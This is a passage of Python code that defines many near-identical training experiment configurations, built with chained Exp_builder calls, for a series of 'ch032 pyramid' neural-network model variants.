it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_4__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_4__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_4__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_4__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_4__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_4__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_4__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_4__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_4__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_4__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_4__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_4__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_5__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_5__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_5__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_5__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_5__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_5__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_5__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_5__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_5__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_5__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_5__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_5__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_5__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_5__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_5__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_4__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_4__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_4__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_4__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_4__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_4__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_4__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_4__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_4__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_4__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_4__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_4__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_5__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_5__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_5__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_5__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_5__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_5__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_5__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_5__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_5__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_5__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_5__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_5__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_5__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_5__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_5__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_6__2side_6__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_6__2side_6__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_6__2side_6__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_4__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_4__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_4__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_4__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_4__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_4__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_4__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_4__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_4__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_4__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_4__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_4__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_5__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_5__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_5__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_5__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_5__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_5__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_5__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_5__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_5__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_5__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_5__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_5__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_5__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_5__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_5__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_5.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_6__3side_6 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_6__3side_6, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_6__3side_6.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_7__2side_7__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_7__2side_7__3side_5 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_7__2side_7__3side_5, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, 